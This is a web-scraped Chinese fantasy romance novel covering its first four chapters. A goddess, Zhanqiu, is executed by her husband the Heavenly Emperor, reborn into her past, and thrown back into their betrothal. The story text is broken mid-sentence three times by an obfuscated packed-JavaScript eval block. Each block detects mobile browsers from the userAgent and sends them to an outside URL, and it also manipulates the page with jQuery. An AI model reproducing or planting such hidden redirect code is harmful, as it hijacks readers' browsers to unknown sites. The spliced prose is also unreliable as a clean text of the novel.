《救过的美强惨入魔了》 1. 第1章 极寒之地,落雪成冰。 漫天诸神聚集于此,望着神坛中央的那位白衣女子,神色各异。 谁也不会想到,裘安继位天帝后做的第一件事,竟是亲手将自己的新婚妻子送上了陨神坛。 二人成婚不过一年,那场盛大浩瀚的婚礼尚且历历在目。当时的景象是多么得风光,如今的场景就有多么得悲凉。 一阵瑟骨的冷风吹过,将女子本就单薄的身影衬得更加摇摇欲坠。 她身处漩涡之中半跪于地,长发垂落,面容清艳绝伦。虽是脸色煞白却也难掩眉宇间那股高傲不屈,让周围一众神仙敢视不敢言,却都不禁在心中猜想,天后究竟犯下了多大的罪过,才会落得如此下场。 裘安位于神坛最高处,居高临下地望着她,薄唇轻启:“斩秋,你可认罪?” “认罪?我何罪之有?”女子抬起眉眼,嘴角溢出一丝笑,那笑声里掺尽鄙薄,满是嘲弄。待笑意散尽,才佯装成幡然醒悟的模样,徐徐道,“我唯一的罪过,便是挡了你杀戮的路罢。” 如今的天地间共分六界,天帝位于九天之上,掌管神、仙两界,统称天界,而人、妖、魔、冥四界各司其主。 斩秋贵为天界神女,自小养于九天,可骨子里却流着妖族的血,而这一事原本只有真神玄焰和先任天帝祁华知晓。 祁华当初将她与裘安定下婚约,一来是为了约束她与生俱来的妖力,防止她日后生出逆心;二来是因裘安乃其膝下次子,将来不会接管帝位,那她便也成不了这天界帝后。如此,哪怕她有朝一日真的背离正道,亦无法动摇天界根基。 可惜祁华算准了其一,却没算准其二。 神族太子裘旭在祁华陨没后不久,便率兵与魔族交战,死在了无岐山一役中。现在想来,魔族那时的宣战来得好没由头,想是有心人的挑拨,目的便是裘旭的命。 思及此,斩秋的笑里多了几许凄凉。原先她怎么就没看出来,自己爱慕之人竟然是这样一个狼子野心之徒。为了帝位,可以狠心算计兄长的性命,此刻又要为了更大的权力而构陷于她。 只因她是上古妖神之后,其体内妖神之力可以治愈众妖生灵。所以只要有她在,妖族就无法彻底根除。哪怕妖族近千年来并无作祟,裘安还是要对其赶尽杀绝。 “你隐瞒自己的妖族身份,混迹于我神界数千年之久,究竟意欲何为?”裘安的声音仿佛利剑一道道地划落在斩秋的心口,冰冷地要将她的血液凝固。 此话一出,降神坛下炸开了锅。众仙恍然大悟,原来这才是今日审判真正的理由。 “天后竟然是妖!” “这怎么可能,天后自幼便由真神抚养,妖族的身份怎么可能逃过真神的法眼?” “隐藏得可真深啊,从前一点儿也没瞧出来呢。” ...... “我意欲何为?“斩秋嗤笑一声,满眼失望,“是你的欲!和魔族的战争才刚刚平息,如今你又要将手伸向妖族!” “妖族当年犯下弥天大罪,不仅血洗我天界五千神兵,还杀死了裘霜,罪孽深重,本就当诛!曾经父神心软,没有与妖族讨这一笔账,如今由我来讨回,有何不妥?”裘安说得冠冕堂皇,神色毫无心虚可言。 当年裘霜公主一事,在场无人清楚其中原委。不过裘安是天帝,众仙自是听他如何说,便如何信。不免觉得斩秋话中有几分要为妖族开脱的意思,先前对她的尊敬与怜惜骤然磨灭,站在了自以为是正道的那一边。 斩秋不再开口,只是静静地看着裘安。 她的眼神冰冷又平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283002|151925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静,宛若一根银针沉入湖底,不起一丝波澜,却深深地刺痛了他。只见他好看的眉毛微微一折,眼底仿佛流露出了一抹不该有的心疼。 就在这抹多余的情感即将进一步蔓延时,一道尖锐的女声蓦地从他身后响起:“陛下,莫要和她浪费口舌了。” 斩秋稍许挪了挪视线,便将来者模样尽收眼底。 只见她穿着一袭水绿色的霓裳,长发高高挽起,一双上挑的眼眸里透着无边的傲慢。 当初还是斩秋将她领入这九重天,原以为她只是个无家可归、想要寻求庇护的小仙,不想此举却是养虎为患。 看走眼一次是不幸,两次就是愚昧了罢。斩秋心下自嘲道。 涂千羽的话像是一块磁石,一下子又将裘安动摇的心吸附到了原位,眼底恢复一片清明,道:“斩秋罔顾神训,欺瞒神主,今于此陨神坛……” 话说到一半,却见他撇过头去,眼睑缓缓垂下:“自生自灭。” 说是自生自灭,可自上古以来,就没有神仙在陨神坛受完刑罚后还能活着走下来的。 哪来的生? 为了毫无后顾之忧地攻打妖界,不惜搬出她的身世做局,也不知该斥他卑鄙,还是夸他手段高明。 话音甫落,天空降下几道闪电,蜿蜒曲折,似一头巨龙腾飞而下,四周伴随着寒光急流,如同数条长鞭狠狠挥去。 斩秋在裘安转身之际,阖目对他说了最后一句话。 她的声音轻飘飘的,听不出任何情绪,仿佛一片白羽悄然划过了他的耳畔,缓缓落在地上,转瞬又化作一把枷锁牢牢固住了他的脚跟,寸步难移。 裘安愣在了原地,心骤然紧缩。 她说。 “曾经我还幻想过要与你荣辱与共,真是可笑啊。” 2. 第2章 缥缈境内城无风无雨,亦无任何生气。偌大的天地愣是静得没有一丝声音,就连时间都仿佛随之冻结。 斩秋望着身前毫无波澜的池水,清秀的容颜闪过几缕旁人读不懂的情绪,低不可闻地喃了声:“第三日了。” 眼下已是从陨神坛那场噩梦中醒来的第三日了。 许是在缥缈境的日子过得太过清闲平静,以至于她都有些分不清,前世种种究竟是大梦一场,还是她真的回到了五十年前。 “殿下,是天宫送来的帖子。”身后突然响起的话音打断了她的思绪。 斩秋回过身来,垂眸瞥向灵杉递上前的请帖,目光辗转在那鎏金纸页上,没有作声。 灵杉或不知晓这张请帖背后藏着什么诡谲,斩秋却清楚得记得,便是这张请帖,将她与裘安的命运紧紧地绑在了一起—— 天帝以裘安飞升上神一事设宴,借着双喜临门为由,给斩秋与裘安赐婚。 这婚自然是不能成的,只不过退婚之人也不能是她。 斩秋自幼便由玄焰真神抚养,心底一直将其视作父亲,对其最是尊重敬爱,而这婚事便是他生前亲允的。 当年天帝曾与玄焰真神商议,待接裘安回天宫后,便定下他与斩秋的婚事。 孰料在这之前,玄焰真神便以身应劫殒世了,随后斩秋自请离开天宫,前往缥缈境为其守灵,一守便是一千余载。 而这婚事自然也就拖到了现在。 如今千年已过,她没有理由再久居缥缈境不出,更何况这门婚事是真神亲允的,她断然没有拒绝的道理,否则定会让旁人起疑。 思及此,斩秋眉头轻拧,眼底也露出几抹厉色。 灵杉见状问道:“殿下,这帖子可是有何不妥?” 斩秋抬眸对上前者的视线,抿了抿唇,她的确想将一切都告诉灵杉。 一来,灵杉是她如今在这世上唯一相信之人,她亦不想再有任何事情隐瞒灵杉。二来,灵杉上一世也是因为自己而死,她有权知道真相,至于她到底相不相信…… “灵杉,我有一事要告知于你。” 待斩秋将一切全盘托出后,灵杉并未作出她预料中的反应。 既没有满目不可置信,亦没有全然笃定不疑。 她的表情竟无任何的变化,仿佛什么也没听见那般。 斩秋见状不由得垂眸,轻叹一息:“罢了,你若不信,就当我没……” 话还未尽,便由后者拦腰斩断:“我相信殿下。” “当真?” 后者颔首,又将手中的帖子递前了些:“殿下,接下来该如何做?这宴会,还去吗?” 斩秋接过请帖,指腹摩挲着纸页上凸起的纹理,陷入了沉思。上一世赐婚之后,婚期却迟迟未定,想来是因为这门婚事并不在裘安眼下的计划之内,这也为她争取了时间。 退婚一事,可从长计议。 她将思绪从往事抽离,手指缓缓收紧:“逃避并非良策,既然躲不过,那便去凑了这个热闹。” 九天之上,云雾缭绕。万道金光照耀在南天门前,石柱旁站着两位守护天门的天将,俱是身姿笔挺、面色威严,一一查验着今日到访仙家的身份,不容有失。 就在斩秋欲将请帖交与天将查验之际,身后忽然传来一阵言语。 “我听说今日不仅是二殿下的飞升之宴,还是二殿下与斩秋上神的喜宴呢。” “常欢,你这又是从哪听说的?那位自请去缥缈境这么多年,就没再出现过,二殿下又是在这之后才被接回天宫的,二人连面都未曾见过,何来喜宴一说?” “这可是我父王告诉我的!前几日父王进宫与陛下一同饮酒时陛下亲口说的,要在二殿下的飞升宴上,为其与斩秋上神赐婚。”被唤常欢的女子拍拍胸脯说道,仿佛亲眼见证一般。 话音才落,突然又添了道得意的声音,从旁洋洋响起。 “什么上神,不过是仗着玄焰真神的关系,空占一个名号罢了,又不是凭自己的本事。想当年青云峰比试,她还是我的手下败将呢。” 常欢、无淼应声望去,朝说话之人挥了挥手:“清缘君,你也来了。” 话声愈来愈近,斩秋却没在意,仿佛他们口中那位“空有名号的上神”不是自己似的。 她温和地冲眼前的天将笑笑,主动递上请帖与其查验。 看守南天门的天将阅历尚轻,并未见过斩秋,却是常听将军提起,若是有朝一日斩秋上神出现在南天门,定要拿出十足的敬意尊崇。 于是在他看清楚请帖上“斩秋”二字时,旋即将手中的长戟往回收了几寸,半膝跪地,以足够响亮的声音称道:“恭迎斩秋上神回宫。” 此话一出,常欢等人的动作全然被这清晰的男声击碎,拿请帖的手双双停驻在了半空。 半晌,终是清缘最先反应过来,想到斩秋可能听见了他方才说的话,心下闪过一瞬心虚。但话既已出口,又是在常欢面前,他可不想落了下乘。 于是追上前面那道白色的身影,伸手拦道:“斩秋,还真是你,躲在缥缈境这么些年,终于敢出来露面了?” 几乎是在清缘伸手的瞬间,灵杉已然持剑挡在斩秋身前,神色阴冷。 清缘挑眉将灵杉上下打量一番,露出一抹讥笑:“原来是找了一个帮手啊。” 灵杉乃斩秋一千年前在下界所救,自此一直带在身边,本不是仙族中人。故而清缘并不认得灵杉,亦不知晓他此刻挑衅的举动有多么危险。 斩秋无意与其口舌,只是照对方那嚣张讨打的架势,说不准下一瞬这白净的廊道上就要见血了。 思绪片刻,斩秋按下灵杉的手,冲着面前男子莞尔一笑:“清缘君,好久不见。” 顾自接了他的上话,继续道:“当年青云峰的比试,我的确输给了你。如果你想听的是这句话,我如今已经说过了,若无旁的事,便请让开吧。” 清缘有些惊讶斩秋如今竟是如此好脾气,本想见好就收,但余光瞥见随后而至的常欢,不由又挺起胸来,扬起了声量。 “你承认自己是我的手下败将就好!只要你保证以后不来招惹我,我便也给二殿下一个面子,不找你的麻烦。” “二殿下?”斩秋本欲作罢,听闻这几个字又扬起了笑意,只是那双含笑的眼睛却透着戏骨的寒意,“为何要看二殿下的面子?” “哼!少装了,旁人不知晓,你还不清楚吗?你与二殿下之间的婚约,迟早会被陛下提起。” 清缘的父亲南清王与北常将军一样,都是天帝的心腹,故而知晓斩秋与裘安之间的婚事并不稀奇。 “那又如何?”斩秋眨了眨眼,一副不解的模样,“我是我,他是他。就算有朝一日我与他真的成婚了,我也不是他的所属物。你无需看任何人的脸色,若你真有那个本事找我的麻烦,尽管来便是。” 清缘被她言语中的轻蔑所激,顿时变了脸,怒道:“你…!斩秋!你什么意思,你以为我打不过你吗?” 与他的面红耳赤相比,斩秋的神色显得无比从容。她不紧不慢地朝他走近两步,凑到其耳边以仅有他们二人能听见的声音说道:“当年你究竟如何赢得我,要我大声说出来吗?” 话音落下,后者身躯一震,眼底尽显慌张之色。当年之事他做得天衣无缝,斩秋怎么可能会知晓! “我……我听不懂你在说什么,当年……当年我分明是光明正大赢得你!” “是吗?”斩秋退回了脚步,欣赏着眼前男子故作镇定的表情,“我怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283003|151925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么记得清穆当时跟我说,是清缘君你胁迫他,让他设计一出玄焰真神出关受了伤的幻象给我。这才让我放弃了比试急忙赶回去?” 说罢又看了一眼他身后的常欢:“我知你今日拦我是想在心仪的女子面前出风头,本不欲拆穿你当年的把戏。这才把台阶递给你,可你为何不下啊?” “你…!你胡说八道!”只见清缘面色铁青,眼睛瞪得都快要掉出来似的,张牙舞爪,哪还有半点儿仙风道骨可言。 如今被当众揭了短,他无话反驳,只得丢下一句苍白无力的挑衅后愤然离去:“你给我等着!” 站在不远处的常欢与无淼二人见状,不敢再随意议论眼前这位斩秋上神,恭敬地朝其行了一礼后,便匆匆绕路而行。 斩秋随后亦收回了视线,继续朝着万虚殿的方向前去。 - 万虚殿内,金光流转。众仙受邀聚集于此,许是沾染了喜庆气氛,皆是一副笑容模样。 方一踏入殿内,斩秋便在一众身影中看到了裘安。 他穿着一袭紫袍,玉冠半束起长发,眉毛精致宛若细羽,长睫之下是一双墨色的眼眸,神情间总是带着温润的笑意。 如同三月的春风,叫人心神向往。但见他与一众长老站在一处,言谈举止谦逊有礼,乖巧得不像话。 裘安似有所感,忽然将目光转了过来,落在了斩秋身上。 两道视线相接,一道寒厉克制,一道陌生温和。 不知怎的,她恍然又听见了裘安的声音: “初次见面,你我同为上神,就互唤名字吧。你也别唤我什么二殿下了,可好?” “斩秋,今日之后,你便是我的妻了。” “对不起,为了大局我只能如此,你能理解我吗?” “斩秋罔顾神训,欺瞒神主,今于此陨神坛……自生自灭。” 自生自灭,倒是未曾想过她还能生,这算是承他吉言了么?斩秋回过神来,冷笑一声,顷刻调开目光。 不多时,整座大殿突然都静了下来。斩秋顺着众人的视线往殿门望去,只见天帝祁华正踏入大殿。 “见过陛下。”众人齐道。 “免礼。”天帝一拂衣袖,缓缓登上正上方的位子,面色柔和,“今日乃安儿的上神宴,故特邀诸位仙卿前来。其实,除了贺安儿飞升以外,朕还有一件喜事欲与诸位分享。” 目光在座下扫视一番,最终停留在斩秋身上,眼底流露出一抹欣慰的笑意:“秋儿,安儿,你们二人走上前来。” 话罢,众人俱是一愣。 名讳中含“秋”一字,并且能让天帝唤得如此亲昵之人,天上地下都唯有上神斩秋一人。 可是那人早在一千年前真神玄焰应劫身殒之后便不见踪迹,听说是去了缥缈境为真神守灵。不过真神身殒,本就魂飞魄散,说是守灵,也不过是图心中慰藉罢了。 众人望着徐徐走到中央的女子,各个瞪大了眼睛瞧着,都想看看这位消失了一千年之久的上神,如今是何模样。 只见她穿着一身白色羽衣,一头乌发仅由一根丝带高高束起,不着任何饰品。浓密的长睫之下是一双微微上扬的桃花眼,未施粉黛却万种风情。倾世芳华四字,似乎都不足以形容眼前女子的半点风姿。 “秋儿,千年过去,你也是时候回到天宫了。”天帝望着斩秋,声音温淳。 “当年父尊在世时最在意的便是你,也曾与朕谈论过你的婚事。如今,安儿也长大了,亦有所成。”说着目光又转向裘安,满意地颔首,“你们二人站在一起可谓是郎才女貌、天作之合,甚是般配,般配!” 他话语一顿,在裘安错愕的神情中说道。 “今日,朕便做主,定下你们二人的婚事,如何?” 3. 第3章 话音甫落,整座大殿登时鸦雀无声。 许是过于震惊,众人一时都忘了言语,只是呆呆地望着殿中央的二人。待他们回过神来,心底又冒出诸多疑惑。 虽说玄焰真神一直将斩秋视为己出,婚配便也当得这世间最好的,可是这婚配的对象怎么能是天帝之子呢? 况且就算非要在两位殿下中选一位,又怎会是二殿下,而非大殿下?大殿下都尚未婚配,更遑论…… 心中疑问接二连三跌撞而至,虽是不解,却也不敢妄加评判,只能眼巴巴地瞧着这事件中的两位主角如何应答。 斩秋没有立场反驳,却也不想先行应承。于是侧了侧目,观察起裘安的反应来。 上一世听到这个消息时她太过讶异,都没来得及好好瞧一瞧身旁人是何表情。 与她料想的一样,裘安的眼底也闪过了一瞬愕然,不过很快便恢复成以往平静的模样。 “一切但凭父皇做主。”裘安垂首行礼,面上挂着一枚浅笑,温言回道。 天帝称心地点点头,继而又将目光投向斩秋,丝毫不掩目中期许:“秋儿,你如何想?” 斩秋收回视线,扯出一道淡淡的笑意,抬手作礼:“斩秋谢陛下恩典。” “好!好!今日果真是双喜临门!”天帝闻言抚掌大笑,心中一直绷着的那根弦终于放松了下来,随后端起酒杯朝众人举起,“诸位仙友尽兴!” 一场足以轰动八荒的新闻就在几人三言两语中定下结论。 殿上众人虽对此事感到荒唐,却也没再往下琢磨,毕竟这帝王家事可不是他们敢擅自议论的。念及此,各自举杯畅饮,仿若无事发生。今日只是二殿下的上神宴,仅此而已…… 事已落幕,斩秋无意久留,转身便往殿门走去。然而没出几步,身后那道声音便已如期而至地响起。 “斩秋。” 裘安唤得很轻,有几分试探的意味,似乎也拿不准如此称呼她是否愿意。 斩秋回过身去,微微颔首,亦是轻飘飘地回了句:“二殿下。” 只见他走过来,缓缓道:“虽是初次见面,但你我二人便已结下了这样的缘分。既如此,你我又同为上神,就互唤名字吧,你也别唤我什么二殿下了,可好?” 他的嘴角微微上扬,目光柔和,怎么瞧都是一副温润谦和模样,可斩秋却仿佛能直接窥探到他这副皮囊之下的阴冷,继而挑了挑眉,笑而不语。 上一世她是怎么回答他的? “陛下乃玄焰真神唯一的儿子,而我虽非真神所出,却由其抚养长大。尽管陛下比我年长了三万岁,可我曾经也是唤过他一声兄长的。这样说,你可明白?” “你乃陛下之子,按辈分来算,你是要唤我一声姑姑的。” “既然你我成婚是真神生前所愿,我不会推辞。不过,我对你这种小孩儿,着实没有兴趣。” 当时她都这样说了,他也不恼,更没有提过退婚一事。 如今想来也是,赐婚之时他们二人素不相识,裘安又是如此多疑之人,若是她什么反应都没有,反倒一味应承,他才会觉得其中有问题罢。 思及此,斩秋转了转眼眸,笑意更深了些:“好啊。” 金色的霞光穿进殿内,将斩秋的身影映得明艳。弯弯的眼角以及微微勾起的红唇,化作成一副柔和无害的模样,让人心生悸动。 只不过落在裘安眼中,却是令他心生忌惮。 斩秋忽然又想起了什么,往前走了一步:“对了,今日裘旭没来参加你的上神宴,应该只是公务缠身,你莫要记恨他。” 她的语气闲适,仿佛是在交代一个晚辈待人之道。 后者闻言眼睫微颤,双眸覆上几缕寒意,不过仅一瞬便消失殆尽。 他的声音依旧柔和,却似乎减了几分温度:“我怎么会记恨阿兄呢?只不过你今日才出缥缈境,如何得知阿兄公务缠身?” “毕竟我们是旧相识了,我很了解他。” 裘旭对他这个弟弟向来是上心的,哪怕她没有经历过上一世也能猜到。今日是裘安的大日子,他绝不会故意不来,说不定此刻他便已在赶来的路上了。 只可惜这一切似乎向来只有她一人知晓。 “原是如此。”裘安点点头微笑着,没再搭话。 出了万虚殿,灵杉才现身,安安静静地走在斩秋身后,仿佛一道影子,无论走多远,始终保持着不变的距离。 “你方才去哪了?”斩秋不疾不徐地走在殿外的廊道上,轻描淡写地问起,语气中并无问责的意味。 “天帝说要将您与裘安定婚时,我看到清缘在朝殿下施咒术,便将他带出去处理了。” 灵杉肃然的口吻,加上如此令人遐想的“处理”二字,惹得斩秋脚下一顿,扭头看她:“你不会……” “殿下放心,我并未伤他,只是将他打晕了。” 听到这个回答,斩秋松了口气,继续朝前而去。一边走,一边又问。 “他如今在哪?” 跟着灵杉一路来到涟园,望着一旁亭下昏睡的男子,斩秋暗了暗眼眸。 清缘与她素来不对付,这一点天帝是知晓的,故而上一世并未给南清发去过请帖,清缘也未曾在上神宴出现过。 今日在南天门前遇到他时便觉得奇怪,只是思绪一时沉浸于宴会之事,未来得及仔细考虑。 “殿下,有何不妥吗?” 斩秋不语,却是上前将清缘身上的请帖搜了出来,仔细翻看:“这请帖的确是真的,只是这上面的字……”她说着折起了眉,伸手将请帖递到灵杉面前。 后者领意,指尖轻轻转动,朝纸页上施法。只见上面的字迹一个一个跃起,连成一道符咒,继而化作一缕黑色的薄烟,消散殆尽。末了,这鎏金纸页上已无半点痕迹。 灵衫抬首望她:“是假的。” “嗯,清缘果然不在这宾客名单上。”斩秋点点头,眼底神色复杂。 清缘虽嚣张跋扈,也曾设计过她,却也没那个胆子敢伪造天宫请帖,定是被人利用了。只是她想不通,这背后之人究竟是谁,让清缘来天宫参加上神宴的原因又是什么? 虽是这字是伪造的,可这请帖本身却是货真价实的出自明渊阁。如此说来,这背后之人,莫非就藏匿在天宫…… 罢了,眼下自身还有一堆事未了,实在没工夫替天帝清理门户,只要这人不是冲着她来的,就暂且先放一边罢。 “殿下,有人来了。”灵杉的声音拉回了她的思绪。 斩秋连忙将请帖塞回清缘的衣袖,随即带着灵杉往亭外步去。待与清缘拉开了一段距离后,方才放缓脚步。 一抬头便看见不远处立着一道墨色的身影,步子又停了下来。 “裘旭。”斩秋唤道。 “我有事要和你说。”裘旭朝她走来,面色沉稳,声音却有些急切。 她知道对方找她要说的是什么,不慌不忙地朝一旁的灵杉吩咐道:“灵杉,你先回秋茗宫等我吧。” 待灵杉离开后,斩秋方才幽幽开口。 “你见完裘安了?”她朝身旁的莲池走去,一面望着池里的游鱼,一面漫不经心地问。 后者闻言没有回答,却是随着她走上前,也发出了一问:“你为何要应下这门婚事?” 会这么问,想来是见完了。斩秋了然,一副事不关己的模样回复着:“此事又不是我一人应下的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283004|151925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言下之意,他该盘问的人也并非只有她一人。 “安儿向来不会忤逆父神。可我看得出来,他并不开心。” “他不敢忤逆陛下,那你凭何认为我敢?” “你们不一样。安儿他因为桦妃,做任何事都得小心谨慎,不敢惹父神不快。可你不同,你有玄……”说到此处,话声戛然而止。裘旭似乎也觉得如此说来甚是不妥,眉毛轻皱,面露难色。 斩秋却是抬起眼,接过他的话:“你想说我还有玄焰真神护着是吗?” “这没什么不可说的。反正所有人都认为,我是靠着与玄焰真神的关系为所欲为的狂妄之徒,你也不例外。” 斩秋说着神色逐渐变得冰冷:“可如今真神他已经不在了。况且,此事本就是他生前应允的。” “我不是这个意思。只是安儿心思单纯,你并非他的良配。”裘旭解释道。 “你觉得我配不上他。”斩秋此言并非疑问,而是陈述。得此结论,不禁笑出了声,冷笑间又带了些许同情的神色看他,语气掺尽了鄙薄。 “裘安到底是真的单纯还是伪装得太好,想必这个答案只有他自己清楚吧。你虽是他的兄长,可你真的了解他吗?” “凡人尚且有所贪恋,更何况神仙呢。你这弟弟,可没你想象中的良善。看在以往的交情上我奉劝你一句……” 话音还未尽数落下,便见一抹剑光朝她劈去,虽未带杀气,却充满了警告的意味,沾染了怒意的声音随之一道响起。 “你不能如此说安儿!” 哪怕斩秋反应及时,衣袖仍被划开了一道,她垂眸看向不堪的衣角,表情辨不出喜怒:“你这家伙,还真是一如既往的不好相与啊。” 她知道裘旭最是护短,却没料到他会对自己出手。难道他就没想过,万一她没来得及躲闪被他伤到,他该如何与天帝交待? 也罢,这么多年他都未将裘安看清,又岂是她三言两语便能改变的。来日方长。 - 夜,诡境魔都。 烛月殿走进一名黑衣男子,厚重的斗篷将他的脸压得很低,只能看见一张毫无血色的嘴唇一张一合,朝着殿前倚坐在座上的男子禀道。 “尊上,事成了。” 玄青色的烛火犹如蜿蜒的藤蔓缠绕在铜柱,一圈一圈向上追赶,又于之顶檐向下垂挂,让昏暗的宫殿亮起了些许煽动的光。 那光落在了被唤作“尊上”的男子脸上,散出几缕惑人的姿态,仿佛能叫人迷失心智。 只因他生了一幅极好的容貌,一双斜长的眸子里像是装满了星辰,高挺的鼻梁与花瓣似的红唇将其衬得更为完美,棱角分明,面如冠玉,就连发丝都隐隐泛着烁光,犹如神明降世。 任谁也无法将眼前这个漂亮的少年与杀伐果断的魔尊联想到一块儿去。 听到事成的消息,座上男子也未作多大反应,漫不经心地颔首,只道一个“好”字。 倒是一旁的赤龙颇显兴奋,拱手喝道:“尊上威武!平日里裘旭那小子嚣张惯了,如今幽境失守,我倒要看看他如何讨饶!” 他说完眼里流露出无比期待之意:“尊上,接下来我们该怎么做?” 接下来?百里及春轻挑眉目,不知想到了什么,眼底抹开一枚浅笑,意味深长地说道。 “等着便好。” “是!”赤龙越想越高兴,起劲地说道,“等裘旭自己送上门来,到时我再……” 他话还没说完,便被戴着斗篷的黑衣男子打断:“谁说尊上等的人是他?” “不是裘旭?”赤龙有些讶异,不禁皱起眉挠了挠头,一副不解的模样,问。 “那会是谁?” 4. 第4章 这一夜斩秋睡得并不安稳,每每睡去便从上一世的噩梦中惊醒,衣襟被冷汗打湿了一遍又一遍。 翌日清晨,她才堪堪躺下,殿外又传来了声响。推门瞧见裘安那张近在咫尺的脸,一时分不清梦魇与现实,不由惊地退后了两步。 半晌方才回过神来,眉毛微不可察地皱了一下:“怎么是你?” 捕捉到她眼中一闪而过的厌烦,裘安有些意外,弯了弯眉眼,简言意骇地回答:“天帝传召。” 天帝这么早寻她作什么? “可有说是何事?” 裘安闻言默了几许,盯着地面出神,似乎在想什么。就在她即将失去耐心时,方才笑着摇了摇头。 “知道了。”她微微颔首,站在门前并未动身,只是平静地望着裘安,似乎在示意他离开。 他却如同看不懂似的,亦一动不动地回望着她。 斩秋只得开口:“我识路。” 无需你送。 “父命难违。”裘安无奈地笑笑。 这回斩秋没再说什么,大步流星地踏了出去。 今日的万虚殿没了满座宾朋,显得有些冷清。偌大的宫殿中,仅有几名天兵立于两侧,天帝站在正上方,面色凝重。 看见天帝这般神情,斩秋心底蓦然升起了一股不妙的预感。垂首作礼,道:“见过陛下。” “秋儿,无需多礼。”天帝摆了摆手,示意她上前说话。 “陛下,可是出了什么事?”斩秋走上前去,眼底露出几分忧色。 只听前者长叹一息,语气尽显疲惫:“昨日幽境三千天兵,一夜之间全没了踪影。” “没了踪影?这是何意?” 若是有人来犯,将士身死,尸骨也理应留在幽境。哪怕神魂俱灭,也会留下痕迹。可毫无踪影,无论如何也说不过去。 “朕知道你在想什么。昨夜并无人来犯幽境,那里未留下打斗的痕迹,只不过在营帐中找到了一样东西。”天帝一面说着,一面张开手掌,掌心逐渐化出一支折断的箭羽。 那羽呈盾形,较一般的箭羽来说更短些,上面还有一道似鳞的图案。 “这是……”斩秋认出了此物,瞳中闪过一抹诧异,“魔族将领赤龙营中的箭。” 一千年前,她误闯诡境军营时,赤龙朝她射来的箭,箭羽便是这般模样。 魔族营中的箭为何会出现在幽境,难道三千天兵失踪与魔族有关?可是他们既有本事将三千天兵带走不留一丝痕迹,又怎会如此粗心地留下一支箭羽? 反倒像是…… 故意为之。 思及此,斩秋的眉心攒成一个结,她想不通这究竟是怎么回事。魔族分明显少来犯,上一世在这个时候更是从未发生过此等事情,到底是什么改变了? “这便是朕今日唤你前来的原因。”天帝轻轻颔首,将箭羽交到她手上,语重心长地说道,“幽境本由旭儿掌管,出了事也该由他去查办。可这件事牵扯到魔族,还是交给秋儿你来办最为稳妥。” “你曾随父尊云游北荒,通晓启原术,能破解诡境结界。朕需要你亲自去魔界一趟,将此事调查清楚。” 闻言斩秋点了点头,正要开口,又听天帝说道:“只是此事尚未得出结论,不可带兵前往。所以朕决定让安儿与你一同前去,并派一千天兵守在诡境外。” 话落,斩秋脸色一黑,怔了片刻方才回话:“陛下,既然幽境由裘旭掌管,为何不让他与我前去?” “幽境失守乃他失职,朕已罚他去无忘崖思过了。”天帝负手背过身去,语气颇有几分失望的意味。 事已至此,斩秋没再反驳。 “你先去准备吧。”天帝冲她摆了摆手,又对一旁的仙卫吩咐道,“让安儿进来。” 退出大殿之际,正逢裘安从殿外踏来。 想到要与裘安一同前往魔界,斩秋不禁抬眸瞥了他一眼,目光里揉尽复杂之色。 只一眼,她便收回视线。既然天帝有意让他们二人多相处,左右是躲不掉了。 回到秋茗宫时,灵杉正练完剑。看着斩秋从万虚殿的方向回来,她心生诧异,却是什么也没问,定住脚步候着。 斩秋也不拐弯抹角,踏进宫门后直接道明:“方才天帝交给我一桩苦差,咱们得去魔界一趟。” “是。” “此行无论遇到什么危险,没有我的命令,你都无需出手,只管保护好自己便是。” 天帝既赠她一块“肉盾”,哪有白白浪费的道理,当是物尽其用才好。 回到九重天不过短短一日,自然没什么可收拾带走的东西,毕竟去谈判靠的也不是这些。 没过多久,斩秋便已来到南天门。 来时面前早已立着一前一后两道身影,正是裘安与他的神兽邬霖。 斩秋露出近乎亲切的微笑朝裘安走去,客气地拱了拱手:“想来二殿下也有所耳闻,我神力薄弱,此行若有危险,便全要仰仗二殿下保护了。” 她虽面上笑着,却总有一股森然之意,仿佛期盼着有什么凶险发生一般。 裘安看进她那一双虚实不明的眼眸,也缓缓展起嘴角,道了声:“自然。” 前往魔界诡境的路途遥远,斩秋不想在裘安面前展露自己的神力,于是提出乘飞輦前去。 邬霖与灵杉坐在外面,将本就足够宽敞的轿輦留给斩秋与裘安二人,便显得更为空旷。 二人对面而坐,中间隔着的距离再塞下六七个人也绰绰有余。四目相对,却静而不语,各自心里不知在盘算些什么。 少顷,斩秋率先移开视线,目光落在一旁的矮桌上,百无聊赖地拾起一块桃糕看了看,随之往嘴边送去,熟料这时对面冷不防响起一句—— “昨日阿兄来见我,说他愿与父神请旨,代我达成与你的婚约。” 